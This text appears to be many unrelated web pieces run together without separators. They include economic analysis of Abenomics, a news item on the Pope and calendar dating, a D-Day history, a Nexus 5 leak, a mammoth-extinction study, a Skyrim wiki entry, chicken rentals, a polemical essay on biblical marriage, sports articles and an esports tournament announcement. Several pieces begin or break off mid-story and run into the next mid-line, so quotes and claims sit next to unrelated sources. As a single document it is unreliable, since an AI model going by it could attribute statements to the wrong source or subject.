Late last year, the Abe government announced that aggressive monetary accommodation would be one of the pillars of its three-pronged economic policy. Overseas investors responded by closing out their positions in the euro and redeploying those funds in Japan, where they drove the yen lower and pushed stocks higher.
I suspect that only a handful of the overseas investors who led this shift from the euro into the yen understood there was no reason why quantitative easing should work when private demand for funds was negligible. Had they understood this, they would not have behaved in the way they did.
Japanese investors, Koo asserts, did understand this. That's why they didn't join in when international hedge funds started buying up Japanese stocks in size (emphasis added):
Whereas overseas investors responded to Abenomics by selling the yen and buying Japanese stocks, Japanese institutional investors initially refused to join in, choosing instead to stay in the bond market. Because of that decision, long-term interest rates did not rise. That reassured investors inside and outside Japan who were selling the yen and buying Japanese equities, giving added impetus to the trend. However, Japanese investors' initial aversion to the long Nikkei trade couldn't last forever.
"Even though the moves in the equity and forex markets were led by overseas investors with little knowledge of Japan," says Koo, "the resulting improvement in sentiment and the extensive media coverage of inflation prospects forced domestic institutional investors to begin selling their bonds as a hedge."
That selling caused yields and volatility to rise in the Japanese government bond market, which spooked investors and arguably sparked the big unwind in the Nikkei trade.
But why should rising bond yields be such a bad thing for the "Abenomics" story of experimental economic stimulus in Japan that international investors have placed their faith in by running up Japanese stocks? After all, higher yields reflect rising inflation, which is one of the main goals of Abenomics.
The problem, according to Koo, is that a rise in inflation before the Japanese economy starts to recover is bad news:
The Bank of Japan began buying longer-term JGBs on 4 April with the goal of pushing yields down across the curve. The outcome of those purchases, however, has been exactly the opposite of what Governor Haruhiko Kuroda intended, with long-term bond yields moving higher in response. Domestic mortgage rates have increased for two consecutive months as a result. This is clearly an unfavorable rise in rates driven by concerns of inflation, as opposed to a favorable rise prompted by a recovery in the real economy and progress in achieving full employment. The more the market senses the BOJ's determination to generate inflation at any cost, the more interest rates—and particularly longer-term rates—will rise, adversely impacting not only Japan's economy but also the financial positions of banks and the government...
Since there is no increase in bank earnings from additional lending activity and no increase in tax revenues from a recovering economy, the financial positions of banks and the government deteriorate in direct proportion to the rise in long-term interest rates.
In other words, rising rates aren't bad if they reflect a strengthening economy, because the losses banks will sustain in their bond portfolios will be offset by increased revenues owing to a stronger economy in general. Again, though, Koo does not think that is the scenario unfolding in Japan right now: Only 22% of people surveyed by the Nikkei felt Japan's economy is actually recovering (27 May 2013), suggesting relatively few have benefited from Abenomics' honeymoon thus far. Moreover, an increase in long-term rates at a time when 78% of the population is not personally experiencing a recovery is most likely a "bad" rise in rates, and the authorities need to address it very carefully, keeping a close eye on private demand for funds.
All of this means that the big upward thrust in Japanese equities that began late last year has likely come to an end, at least for now.
"The recent upheaval in the JGB market signals an end to the virtuous cycle that pushed stock prices steadily higher," says Koo. "This means further gains in equities will require stronger corporate earnings and a recovery in the economy."The'mistake' was made by a sixth century monk known as Dionysius Exiguus or in English Dennis the Small, the 85-year-old pontiff claims in the book 'Jesus of Nazareth: The Infancy Narratives', published on Wednesday.
"The calculation of the beginning of our calendar – based on the birth of Jesus – was made by Dionysius Exiguus, who made a mistake in his calculations by several years," the Pope writes in the book, which went on sale around the world with an initial print run of a million copies.
The assertion that the Christian calendar is based on a false premise is not new – many historians believe that Christ was born sometime between 7BC and 2BC.
But the fact that doubts over one of the keystones of Christian tradition have been raised by the leader of the world's one billion Catholics is striking.
Dennis the Small, who was born in Eastern Europe, is credited with being the "inventor" of the modern calendar and the concept of the Anno Domini era.
He drew up the new system in part to distance it from the calendar in use at the time, which was based on the years since the reign of the Roman emperor Diocletian.
The emperor had persecuted Christians, so there was good reason to expunge him from the new dating system in favour of one inspired by the birth of Christ.
The monk's calendar became widely accepted in Europe after it was adopted by the Venerable Bede, the historian-monk, to date the events that he recounted in his Ecclesiastical History of the English People, which he completed in AD 731.
But exactly how Dennis calculated the year of Christ's birth is not clear and the Pope's claim that he made a mistake is a view shared by many scholars.
The Bible does not specify a date for the birth of Christ. The monk instead appears to have based his calculations on vague references to Jesus's age at the start of his ministry and the fact that he was baptised in the reign of the emperor Tiberius.
Christ's birth date is not the only controversy raised by the Pope in his new book – he also said that contrary to the traditional Nativity scene, there were no oxen, donkeys or other animals at Jesus's birth.
He also weighs in on the debate over Christ's birthplace, rejecting arguments by some scholars that he was born in Nazareth rather than Bethlehem.
John Barton, Professor of the Interpretation of the Holy Scripture at Oriel College, Oxford University, said most academics agreed with the Pope that the Christian calendar was wrong and that Jesus was born several years earlier than commonly thought, probably between 6BC and 4BC.
"There is no reference to when he was born in the Bible - all we know is that he was born in the reign of Herod the Great, who died before 1AD," he told The Daily Telegraph. "It's been surmised for a very long time that Jesus was born before 1AD - no one knows for sure."
The idea that Christ was born on Dec 25 also has no basis in historical fact. "We don't even know which season he was born in. The whole idea of celebrating his birth during the darkest part of the year is probably linked to pagan traditions and the winter solstice."Matsutake, USA Field Grading
An anthropologist explores the world of matsutake mushroom picking and what it reveals about neoliberal capitalism
THE best chapter in Anna Tsing’s new book The Mushroom at the End of the World is a short introductory piece called “Arts of Noticing.” In it Tsing, an anthropologist at the University of California, Santa Cruz, brings the reader into the world of matsutake mushroom picking by insisting that sometimes the most valuable things can only be found by the practiced eye looking closely at the forest floor.
Read a review of the book here.
“Arts of Noticing” might also refer to the methods of anthropology. Tsing takes a long, slow look at the commodity chain that links the Japanese mushroom market to the clearcut forests of the Pacific Northwest, where a seasonal assemblage of white veterans, Hispanic migrant farm workers, and Southeast Asian refugees pick matsutake amid lodgepole pine. Tsing is part of a growing movement of scholars working to underscore the contingent and provisional nature of capitalism. “Arts of Noticing” is a demonstration that scholarship on capitalism can and should examine worlds beyond its leading sectors.
I talked with Tsing about her book, the intellectual traditions she was working in, and why mushrooms help us understand how nature is essential to our productive activity as human beings.
Matsutake mushrooms are, you write, “a |
During World War II (1939-1945), the Battle of Normandy, which lasted from June 1944 to August 1944, resulted in the Allied liberation of Western Europe from Nazi Germany’s control. Codenamed Operation Overlord, the battle began on June 6, 1944, also known as D-Day, when some 156,000 American, British and Canadian forces landed on five beaches along a 50-mile stretch of the heavily fortified coast of France’s Normandy region. The invasion was one of the largest amphibious military assaults in history and required extensive planning. Prior to D-Day, the Allies conducted a large-scale deception campaign designed to mislead the Germans about the intended invasion target. By late August 1944, all of northern France had been liberated, and by the following spring the Allies had defeated the Germans. The Normandy landings have been called the beginning of the end of war in Europe.
Preparing for D-Day
After World War II began, Germany invaded and occupied northwestern France beginning in May 1940. The Americans entered the war in December 1941, and by 1942 they and the British (who had been evacuated from the beaches of Dunkirk in May 1940 after being cut off by the Germans in the Battle of France) were considering the possibility of a major Allied invasion across the English Channel. The following year, Allied plans for a cross-Channel invasion began to ramp up. In November 1943, Adolf Hitler (1889-1945), who was aware of the threat of an invasion along France’s northern coast, put Erwin Rommel (1891-1944) in charge of spearheading defense operations in the region, even though the Germans did not know exactly where the Allies would strike. Hitler charged Rommel with finishing the Atlantic Wall, a 2,400-mile fortification of bunkers, landmines and beach and water obstacles.
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Did you know? The Normandy American Cemetery, overlooking Omaha Beach and the English Channel, was established on June 8, 1944, as the first U.S. cemetery in Europe during World War II. It holds the graves of more than 9,300 U.S. servicemen who died in the D-Day invasion or subsequent missions.
In January 1944, General Dwight Eisenhower (1890-1969) was appointed commander of Operation Overlord. In the months and weeks before D-Day, the Allies carried out a massive deception operation intended to make the Germans think the main invasion target was Pas-de-Calais (the narrowest point between Britain and France) rather than Normandy. In addition, they led the Germans to believe that Norway and other locations were also potential invasion targets. Many tactics were used to carry out the deception, including fake equipment; a phantom army commanded by George Patton and supposedly based in England, across from Pas-de-Calais; double agents; and fraudulent radio transmissions.
A Weather Delay: June 5, 1944
Eisenhower selected June 5, 1944, as the date for the invasion; however, bad weather on the days leading up to the operation caused it to be delayed for 24 hours. On the morning of June 5, after his meteorologist predicted improved conditions for the following day, Eisenhower gave the go-ahead for Operation Overlord. He told the troops: “You are about to embark upon the Great Crusade, toward which we have striven these many months. The eyes of the world are upon you.”
Later that day, more than 5,000 ships and landing craft carrying troops and supplies left England for the trip across the Channel to France, while more than 11,000 aircraft were mobilized to provide air cover and support for the invasion.
D-Day Landings: June 6, 1944
By dawn on June 6, thousands of paratroopers and glider troops were already on the ground behind enemy lines, securing bridges and exit roads. The amphibious invasions began at 6:30 a.m. The British and Canadians overcame light opposition to capture beaches codenamed Gold, Juno and Sword, as did the Americans at Utah Beach. U.S. forces faced heavy resistance at Omaha Beach, where there were over 2,000 American casualties. However, by day’s end, approximately 156,000 Allied troops had successfully stormed Normandy’s beaches.According to some estimates, more than 4,000 Allied troops lost their lives in the D-Day invasion, with thousands more wounded or missing.
Less than a week later, on June 11, the beaches were fully secured and over 326,000 troops, more than 50,000 vehicles and some 100,000 tons of equipment had landed at Normandy.
For their part, the Germans suffered from confusion in the ranks and the absence of celebrated commander Rommel, who was away on leave. At first, Hitler, believing the invasion was a feint designed to distract the Germans from a coming attack north of the Seine River, refused to release nearby divisions to join the counterattack. Reinforcements had to be called from further afield, causing delays. He also hesitated in calling for armored divisions to help in the defense. Moreover, the Germans were hampered by effective Allied air support, which took out many key bridges and forced the Germans to take long detours, as well as efficient Allied naval support, which helped protect advancing Allied troops.
In the ensuing weeks, the Allies fought their way across the Normandy countryside in the face of determined German resistance, as well as a dense landscape of marshes and hedgerows. By the end of June, the Allies had seized the vital port of Cherbourg, landed approximately 850,000 men and 150,000 vehicles in Normandy, and were poised to continue their march across France.
Victory in Normandy
By the end of August 1944, the Allies had reached the Seine River, Paris was liberated and the Germans had been removed from northwestern France, effectively concluding the Battle of Normandy. The Allied forces then prepared to enter Germany, where they would meet up with Soviet troops moving in from the east.
The Normandy invasion began to turn the tide against the Nazis. A significant psychological blow, it also prevented Hitler from sending troops from France to build up his Eastern Front against the advancing Soviets. The following spring, on May 8, 1945, the Allies formally accepted the unconditional surrender of Nazi Germany. Hitler had committed suicide a week earlier, on April 30.
Access hundreds of hours of historical video, commercial free, with HISTORY Vault. Start your free trial today.As if the cacophony of leaks around the Nexus 5 weren't enough, here's the most official yet: Google's latest flagship phone has appeared on the Play store. The listing appears to have been made in error, as the phone cannot be bought and no details are available but the most important — a starting price of $349 for the 16GB version. While that's a higher barrier to entry than we saw with the Nexus 4, which also cost $349 at 16GB but had a $299 8GB model, it's still an attractively low price for what appears to be a more than capable device. Google's tagline for the LG-made phone is "Capture the everyday and the epic in fresh new ways."
UI tweaks match earlier leaks
The image of the Nexus 5 on the Play store is small, but a Verge commenter has provided a high-resolution version; it displays some of the same Android UI tweaks found on press shots that leaked earlier today. The next version of Android, 4.4 KitKat, looks to employ translucency effects on elements such as the app drawer and on-screen buttons, and the blue accents used in earlier versions of the software appear to have been replaced with white. Some apps have received new icons, too, including the camera and phone, and the wallpaper features an abstract "5" design in much the same style as the new Nexus 7's.
Google is yet to announce anything official about the Nexus 5, but it can't be far off now.Profile
The Mets were ravaged by injuries in 2017 and won just 70 games, the fewest since 2009. Matt Harvey, Noah Syndergaard and Yoenis Céspedes all missed much of the season. With the Mets out of contention early, attendance at Citi Field dropped 12% compared with 2016, to an average of 30,757 per game. SNY’s average rating for Mets games in 2017 was 2.31% of New York-area homes, down 15% from last year when the Mets made the postseason for the second year in a row. The Mets turned to Cleveland Indians pitching coach Mickey Callaway as their new manager for 2018 after the Indians led baseball in ERA last season. The club signed a long-term deal during the offseason with New Balance for the Boston-based brand to be the official footwear and apparel partner of the team and Citi Field. More »By Victoria Gill
Science reporter, BBC News
Mastodons and other megafauna left traces of dung in ancient lake beds
Mammoth dung has proved to be a source of prehistoric information, helping scientists unravel the mystery of what caused the great mammals to die out. An examination of a fungus that is found in the ancient dung and preserved in lake sediments has helped build a picture of what happened to the beasts. The study sheds light on the ecological consequences of the extinction and the role that humans may have played in it. Researchers describe this development in the journal Science. The study was led by Jacquelyn Gill from the University of Wisconsin, Madison, in the US. She and her colleagues studied the Sporormiella fungal spores contained in the sediment deep within the bed of Appleman Lake in Indiana. Many very large mammals including mammoths, mastodons and ground sloths inhabited forests in this area of North America about 20,000 years ago. Sporormiella produces spores in the dung of large herbivores. These are then preserved in the layers of mud and can provide an index of the number of these great animals, or megafauna, that roamed the environment at a particular time. The researchers took sediment cores from the bed of Appleman lake in Indiana
"Sediment cores are much like ice cores, except with lake mud," explained Ms Gill. "The spores [and other materials] settle out into the lake mud and get buried over time." She and her team simply counted the pollen, charcoal and Sporormiella in these layers of mud, tracking the timescale of ancient environmental changes. Their results showed a slow decline in megafauna that began about 15,000 years ago and appeared to last for about 1,000 years. This discovery rules out one idea that the extinction might have been caused by an extraterrestrial object striking Earth 13,000 years ago. The scientists also spotted signals of major environmental changes around the time of the extinction. "This study is exciting because we're getting some solid data about the ecological consequences of the removal of these animals," said Ms Gill. "After their decline we see an increase in the more warm-adapted deciduous trees, and an increase in charcoal [which means there was] an increase in the number of forest fires. "So we can see that the forest is reassembling following the extinction." Human or environment The cores provide a timeline of environmental change The study also shows that the decline began about 1,000 years before the Clovis period - when the archaeological record shows that humans were making stone tools designed specifically to hunt large animals. Prior to this discovery, some scientists believed that Clovis people hunted the animals to extinction. But Professor Christopher Johnson from James Cook University in Queensland, Australia, said the study still supports the hypothesis that humans were primarily responsible for the mammals' decline. Professor Johnson was not involved in the study but wrote an accompanying article in the same issue of Science, outlining its significance. He wrote: "If people were responsible... they must have been pre-Clovis settlers. "The existence of such people has been controversial, but archaeological evidence is slowly coming to light." Ms Gill commented: "We can't resolve the climate versus humans debate but we have eliminated one of the main hypotheses for each camp." She added that there were "modern conservation implications" to the study. "We know the large herbivores on the landscape today are some of the most threatened," she said. "And we're starting to learn that they're ecological keystones. They're not just charismatic, they might also be ecologically significant." Professor Johnson told BBC News: "If we want to understand the history of ecosystems across the planet we really need to understand the effects of megafaunal extinction."
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Take this box of Whole Wheat Ritz crackers. The #1 ingredient? White flour.
Or consider the fine print read in a hurry at the end of the car ad or the fact that most bottled water comes from the tap… Most contracts are designed to conceal as much as to reveal, which is one reason lawyers get a bad rap.
If you set out to conceal as a marketer (airbrushing a photo, leading with your strengths, staying within the letter if not the spirit of the law) it's easy to invent creative new ways to achieve your goals. It sure feels as though you can stay ahead of the game.
A different technique is starting to gain traction, though. Working to reveal instead of conceal. My fish monger in Grand Central has started placing signs in front of each fish. They describe exactly where the fish came from, whether it's healthy and how endangered it is. You'll never see fine print saying "previously frozen." They don't have any fine print. The first few times you visit the stand, it's actually off putting. It takes the romance and pleasure out of buying the fish, because you realize that there's a cost to it. The meat guy across the way doesn't have pictures of cows being slaughtered, does he?
But after a while, because the information is out there, because smart fish buyers already know some fish is endangered, the signs give you power. They allow you to make smart choices. They send a message to the customer about the honesty and intent of the seller. They build trust.
Once you embrace the idea of revealing as much as you can (consider Amazon's policy of selling the cheaper used copies right next to the new ones, as well as featuring ads from competitors on the same page) it's a lot easier to live and thrive online.
[Jess sends us this post from her blog. Apparently, Monsanto has made it against the law for Pennsylvania dairies to reveal what's in (and not in) the milk they sell. Astonishing.]Look, the reality is that trying to detect motive, or some grand strategy, with Donald Trump is a fool's errand. The Donald is usually living proof of Occam's razor, that the best explanation is usually the simplest one. The guy had a terrible week in which he got hammered on the Russia scandal, then tossed and turned all night in his plush Mar-a-Lago bedroom, got up before dawn, turned on Fox News and scrolled through Breitbart News -- and took out all his frustrations on one of his favorite targets, a kind of Twitter blast from the past. The idea that it might be more than a little improper for the sitting president to accuse his predecessor of lawbreaking -- especially with no proof -- never crossed his mind.The Diplomatic Council has appointed a German-Pakistani entrepreneur Jamal Ahmad Qaiser as it’s Business Ambassador and UN Commissioner. In a statement the Diplomatic Council said the 44-year-old was nominated because of his outstanding achievements and tireless efforts for international understanding.
Qaiser, who was born in 1972 is a member of the minority Ahmadiyya Muslim sect which faces severe persecution in Pakistan. He started off as market trader and ended up starting his own private equity firm. In 2014, he graduated from the University of Oxford’s Saïd Business School. A year earlier in 2013 he had already enrolled into the prestigious Harvard Business School from which he successfully graduated in 2016. In March 2016 he published his first book “The strange success factor: Why do we desperately need immigrants in Germany”
In the past Qaiser has advised non-governmental organizations, political parties and government figures which include Hans-Joachim Otto, Germany’s State Secretary of Ministry of Economics and Technology and Hans-Jürgen Beerfeltz, the late Secretary General of Westerwelle Foundation & a member of Germany’s Free Democratic Party.
The Diplomatic Council holds a consultative status with United Nation’s Economic and Social Council.The Draugr are a type of "barely living" men found in the province of Skyrim. They are, along with Dragon Priests, classified as undead, despite carrying a "whisper of life."[1] Dialogue indicates that they consider themselves to be dead.[2]
Contents show]
By game Edit
Background Edit
The Draugr are what remains of men of Atmoran and Nordic origin whose souls never left the bodies.[2] This feature is likely related to their relation to the Dragon Cult and its priests, to whom the Draugr act as immortal servants. The Skaal seem to believe that the Draugr were cursed with undeath by the All-Maker, due to having feasted on their comrades after becoming trapped on the island of Solstheim.[3] Others believe that they were cursed to never die by the Dragons, after Men betrayed them in the Dragon War.[4]
In her book, Amongst the Draugr, Bernadette Bantien from the College of Winterhold tells the story of her stay in a Dragon Priest's resting place. She says that, after about seven months within the location, the Draugr gradually ceased their attempts to eliminate her and returned to their daily routine, at which point she was able to make great progress in her research. As for the reasons for the behavior, she suggests that they might have simply decided that she posed no threat to them; or perhaps a communicated agreement, as she reports them uttering words in their "heathen tongue."[1]
Behavior and origins Edit
Bantien mentions that, different from other creatures, in which hostility is easy to read, "these most peculiar of the living dead" were different, due to the large disparity in their gait and speed. She used their general movements towards her and the tone of voice used, as well as the glowing eyes of the Draugr, in order to better predict their intent. The eyes, she says, "seem to be key to their intent." She describes the routine of the Draugr. Every day, a different set of them would awaken and make their way to their priest. Once at the sarcophagus, they would prostrate themselves before it for several hours, meticulously cleaning the area afterwards (which she associated to a continuous worship, even after hundreds or thousands of years). By setting scrying spells around the tomb, Bantien was able to safely look deeper into this ritual. When a group of Draugr entered, she noticed a transferral of magical energies, which she describes as "a distinct flow of life force between the adherents and the master."[1]
It was then that she understood the Dragon Cult's notion of resurrection, in which eternal life was only promised to those who ascended to priesthood, and the lesser functionaries contributed their life force in order to sustaining them indefinitely. Bantien does not seem to know where such endless, rechargeable life force (which she refers to as an "eternal wellspring") comes from, but understands that each Draugr carried "only the barest whisper of life in it," and speculates that they were in fact buried fully as men and women (as opposed to dead, although there are cases of reanimated Draugr). She completes the speculation by saying that, in that case, it was the thousands of years underground, performing the ritual, that gave the Draugr an undead appearance; and that if one were to visit a barrow directly after its construction, they might not have even known any of its inhabitants were dead.[1]
Mythological connections Edit
Draugr take their mythological inspiration and several traits from the draugr, undead creatures from Norse mythology. It should be noted that one differentiates between sea-draugar and land-draugar (draugar being plural of draugr): while land-draugar were simply undead with numerous magical abilities, sea-draugar were fishermen who had drowned at sea, thus being denied the privilege of being buried. In Norse mythology Odin was the ruler of draugr and could raise them using a secret, magic song.
Trivia Edit
In both Skyrim and Solstheim, Draugr are well known as undead, and are frequently the antagonists of bad dreams and fantasies, especially to those who live under the shadow of the barrows.[2]There’s a growing trend in cities and suburbs across the country: renting chickens.
Fair-weather farmers can rent chickens from several businesses, including Michigan-based Rent-A-Chicken, which operates via distributors in Illinois and throughout the country.
For $400, renters receive two egg-laying hens, a coop equipped with food and water accessories and enough chicken feed to last all summer.
George Beutel from Tri-County Stockdale, the Rent-A-Chicken distributor in Joliet serving the greater Chicago area, said he generally picks up the chickens and supplies when the temperature drops later in the year.
“In the winter, a lot of times they’ll go through a molt where they’re going to lose their feathers and they’re not going to lay as consistently,” Beutel said. “It kind of allows people to enjoy all the perks of the chickens without having the hardest things to deal with.”
Each of the two hens – or more, if you’re willing to pay extra – will typically lay one egg per day.
Although farm-fresh eggs every morning are a nice perk, Cori Stankowicz said she brought two hens into her Bridgeport backyard to give her kids, 6-year-old Luke and 4-year-old Ivy, an unforgettable experience.
“I keep telling them and reinforcing that not a lot of kids in the city get chickens,” Stankowicz said. “So, you gotta take care of them.”
More on the story
Shortly after we produced this story, "Chicago Tonight" host Phil Ponce decided to rent three chickens of his own.
Follow Evan Garcia on Twitter: @EvanRGarcia
Related stories:
Chicago Lawmaker Proposes Urban Agriculture Zones
March 27: “The whole idea is to use our vacant land as a way to adjust the issue of food access by encouraging urban farms and community gardens in certain areas,” said state Rep. Sonya Harper.
Students Give Schurz Food Science Lab a Green Thumbs Up
March 9: Visit a Northwest Side high school where a food science lab is growing the next generation of urban farmers.
Chicago Agricultural High School Teaches More Than Farming
Nov. 17: You’re probably aware that Chicago has high schools specializing in math and science as well as the arts, but did you know that Chicago’s big urban school system has an agricultural high school?Bible believers are beside themselves about the prospect that marriage norms and laws are changing, but let me tell you a secret about Bible believers that I know because I was one. Most don’t actually read their Bibles.
If they did, they would know that the biblical model of sex and marriage has little to do with the one they so loudly defend. Sex in the Bible includes rape, incest, master-slave sexual relations, captive virgins, and more. Of course, just because a story is told in the Bible doesn’t mean it is intended as a model for moral behavior. Does God forbid or command the behavior? Is it punished or rewarded? In the New Testament stories, does Jesus change the rules or leave them alone? By these criteria, the Bible not only describes many forms of sexual relationships (including sexually coercive relationships), it gives them the divine thumbs up.
Not One Man, One Woman
The God of the Bible explicitly endorses polygamy and sexual slavery and coerced marriage of young virgins along with monogamy. In fact, he endorses all three to the point of providing detailed regulations. Based on stories of sex and marriage that God rewards and appears to approve one might add incest to the mix of sexual contact that receives divine sanction.
New Testament Endorses Old Testament
Nowhere does the Bible say, “Don’t have sex with someone who doesn’t want to have sex with you.” Consent, in the Bible, is not a thing. Furthermore, none of the norms that are endorsed and regulated in the Old Testament law – polygamy, sexual slavery, coerced marriage of young girls—are revised, reversed, or condemned by Jesus. In fact, the writer of Matthew puts these words in the mouth of Jesus:
Do not think that I have come to abolish the Law or the Prophets; I have not come to abolish them but to fulfill them. I tell you the truth, until heaven and earth disappear, not the smallest letter, not the least stroke or a pen, will by any means disappear from the Law [the Old Testament] until everything is accomplished. (Matthew 5:17-18)
The Law of which Jesus speaks is the Law of Moses, or the Torah, and anyone who claims the Bible as the perfect word of an omniscient, omnipotent, omnibenevolent God should have the decency to read the Torah carefully—and then keep going.
Polygamy. Polygamy is a norm in the Old Testament and accepted in the New Testament. Biblicalpolygamy.com has pages dedicated to 40 biblical figures, each of whom had multiple wives. The list includes patriarchs like Abraham and Isaac. King David, the first king of Israel may have limited himself to eight wives, but his son Solomon, reputed to be the wisest man who ever lived had 700 wives and 300 concubines! (1 Kings 11)
Sex Slaves. Concubines are sex slaves, and the Bible gives instructions on acquisition of several types of sex slaves, although the line between biblical marriage and sexual slavery is blurry. A Hebrew man might, for example, sell his daughter to another Hebrew, who then has certain obligations to her once she is used. For example, he can’t then sell her to a foreigner. Alternately a man might see a virgin war captive that he wants for himself.
War Booty. In the book of Numbers (31:18) God’s servant commands the Israelites to kill all of the used Midianite women who have been captured in war, and all of the boy children, but to keep all of the virgin girls for themselves. The Law of Moses spells out a purification ritual to prepare a captive virgin for life as a concubine. It requires her owner to shave her head and trim her nails and give her a month to mourn her parents before the first sex act (Deuteronomy 21:10-14). A Hebrew girl who is raped can be sold to her rapist for 50 shekels, or about $580 (Deuteronomy 22:28-29). He must then keep her as one of his wives for as long as she lives.
Brother’s Wife. A man might acquire multiple wives whether he wanted them or not if his brother died. In fact, if a brother dies with no children, it becomes a duty to impregnate his wife. In the book of Genesis, Onan is struck dead by God because he fails to fulfill this duty – preferring to spill his seed on the ground rather than providing offspring for his brother (Genesis 38:8-10). A New Testament story shows that the tradition has survived. Jesus is a rabbi, and a group of scholars called Sadducees try to test his knowledge of Hebrew Law by asking him this question:
Teacher,” they said, “Moses told us that if a man dies without having children, his brother must marry the widow and raise up offspring for him. Now there were seven brothers among us. The first one married and died, and since he had no children, he left his wife to his brother. The same thing happened to the second and third brother, right on down to the seventh. Finally, the woman died. Now then, at the resurrection, whose wife will she be of the seven, since all of them were married to her?” (Matthew 22:24-28).
Jesus is too clever for them and points out that in Heaven, that place of perfect bliss, there is no marriage.
Having a brother act as a sperm donor isn’t the only biblical solution to lack of offspring. The patriarch Abraham is married to his half-sister Sarah, but the two are childless for the first 75 years or so of their marriage. Frustrated, Sarah finally says, “The LORD has kept me from having children. Go, sleep with my slave; perhaps I can build a family through her.” Her slave, Hagar, becomes pregnant, and then later Sarah does too and the story gets complicated (Genesis 16). But that doesn’t stop Abraham’s grandson Jacob from participating in a competition, in which his two wives repeatedly send in their slaves to get pregnant by him, each trying to get more sons than the other (Genesis 30:1-22).
Bible Believers or Simply Change-Averse?
These stories might be irrelevant to the question of biblical marriage were it not that Bible believers keep telling us that God punishes people when he dislikes their sexual behavior. He disliked the behavior of New Orleans gays so much, according to Pat Robertson, that he sent a hurricane to drown the whole city – kind of like Noah’s flood. And yet, according to the Bible story, both Abraham and Jacob were particularly beloved and blessed by God.
The point is that marriage has changed tremendously since the Iron Age when the Bible was written. For centuries, concubines and polygamy were debated by Christian leaders – accepted by some and rejected by others. The nuclear family model so prized by America’s fundamentalist Christians emerged from the interplay between Christianity and European cultures including the monogamous tradition of the Roman Empire. As humanity’s moral consciousness has evolved, coerced sex has become less acceptable even within marriage while intertribal and interracial marriage has grown in acceptance. Today even devout Bible believers oppose sexual slavery. Marriage, increasingly, is a commitment of love, freely given. Gay marriage is simply a part of this broader conversation, and opposition on the part of Bible believers has little to do with biblical monogamy.
Since many Christians haven’t read the whole Bible, most “Bible believers” are not, as they like to claim, actually Bible believers. Biblical literalists, even those who think themselves “nondenominational,” almost all follow some theological tradition that tells them which parts of the Bible to follow and how. Granted, sometimes even decent people do get sucked into a sort of text worship that I call bibliolatry, and Bible worship can make a person’s moral priorities as archaic and cruel as those of the Iron Age tribesmen who wrote the texts. (I once listened, horrified, while a sweet, elderly pair of Jehovah’s Witnesses rationalized the Old Testament slaughter of children with the same words Nazis used to justify the slaughter of Jewish babies.)
But many who call themselves Bible believers are simply, congenitally conservative – meaning change-resistant. What really concerns them is protecting the status quo, an ancient hierarchy with privileged majority-culture straight males at the top, which they justify by invoking ancient texts. Freedom to marry will expand, as will other rights related to sexuality, reproduction, and family formation; and these Bible believers will adapt to these changes as they have others: reluctantly, slowly and with angry protests, but in the end accepting the new normal, and perhaps even insisting that it was God’s will all along.
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More from the Bible at Awaypoint:
Mandrakes and Dove Blood: Biblical Healthcare Anyone?
If the Bible Were Law, Would You Qualify For the Death Penalty?
What the Bible Says About Rape and Rape Babies
Woman’s Hanging and Burning of Dog Biblical
Valerie Tarico is a psychologist and writer in Seattle, Washington and the founder of Wisdom Commons. She is the author of “Trusting Doubt: A Former Evangelical Looks at Old Beliefs in a New Light” and “Deas and Other Imaginings.” Her articles can be found at Awaypoint.Wordpress.com.The latter was particularly notable, as Martin is the type of highly rated player who theoretically would feature prominently in an opposition's plans for the match. Richardson, however, said the notion of one team gaining an advantage over, or disrupting the planning of, an opposition team was "not something we necessarily believe". "We certainly don't feel it's necessary to play games - but that's not to suggest that other clubs do." Gold Coast has twice this year fielded a debutant - Louis Herbert in round 18, Jack Leslie last weekend - who was named as an emergency but nevertheless featured on the team's banner. In the first instance the club said its cheer squad had "had two sides [of the banner] made up" in case Suns player Michael Rischitelli failed a fitness test and had to be withdrawn, which he was. Richardson said he considered the result of having no late changes to be a positive reflection on the close relationship between the club's coaching, medical and fitness panels. "It's not something that's been high on our list of priorities, but clearly communication between your coaching, medical and fitness departments, making sure you're making good and informed decisions, is a priority for any club. This hopefully demonstrates we're on the right track in that regard," he said.
"I wouldn't say it's a conscious thing. There's definitely a bit of luck involved. By the same token, you'd like to think you're able to make informed decisions... and firm up your side as early as possible in a week." Richardson said it is inevitable that players will occasionally get injured in the warm-up and have to be withdrawn, but reckoned the potential for that was increased for players who had been unable to prove they had overcome injury well before the start of the match. "If some guys are under a cloud and you're giving them every last minute to get up that's more likely to happen. We've tended to make decisions at the latest the day before," he said. Excepting Richmond and Carlton, the teams that have made the most changes generally are higher on the ladder and the team with the fewest are cellar-dwellers. North Melbourne (11), Hawthorn (10) and Geelong (8) all rank near the top, while Melbourne (1) and St Kilda (2) are behind only the Tigers. Port Adelaide has made the fewest changes of any finals-bound team, with three.RBreaker Profile Joined August 2010 Sweden 93 Posts Last Edited: 2012-09-28 14:20:00 #1
CDON and Fragbite presents THOR Open, a major tournament in collaboration with Intel, Steelseries, Corsair, Dell, Seagate, Fractal design and MSI. In total seven games will be played over a course of two months with the grand final taking place on December 8th until December 9th.
In total there will be 600 000 SEK up for grabs split between seven games.
Prizepool:
» Starcraft II: 150 000 SEK (~$21 700)
» CS GO: 130 000 SEK (~$18 800)
» DotA 2: 130 000 SEK (~$18 800)
» League of Legends: 100 000 SEK (~$14 500)
» Battlefield 3: 50 000 SEK(~$7 200)
» Super Street Fighter: 20 000 (~$2 900)
» FIFA ´13: 20 000 (~$2 900)
Tournament Schedule:
Starcraft II - One player from each Qualification. 8 players in final.
» October 7th: Qualification #1 - Online
» October 14th: Qualification #2 - Online
» October 21st: Qualification #3 - Online
» October 28th: Qualification #4 - Online
» November 1st - 4th: Qualification #5 - Offline in Kista, during GameX
» November 18th: Qualification #6 - Online
» November 22nd - 25th: Qualification #7 - Offline in Jönköping, during DreamHack Winter
» December 2nd: Qualification #8 - Online
DotA 2 - One team from each Qualification. 8 teams in final.
» October 5th: Qualification #1 - Online
» October 12th: Qualification #2 - Online
» October 19th: Qualification #3 - Online
» October 26th: Qualification #4 - Online
» November 1st - 4th: Qualification #5 - Offline in Kista, during GameX
» November 16th: Qualification #6 - Online
» November 22nd - 25th: Qualification #7 - Offline in Jönköping, during DreamHack Winter
» November 30th: Qualification #8 - Online
For more information please go to
Contact info: Starcraft II
Admins: (#Fragbite.sc2 On Quakenet)
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*** UPDATE ***
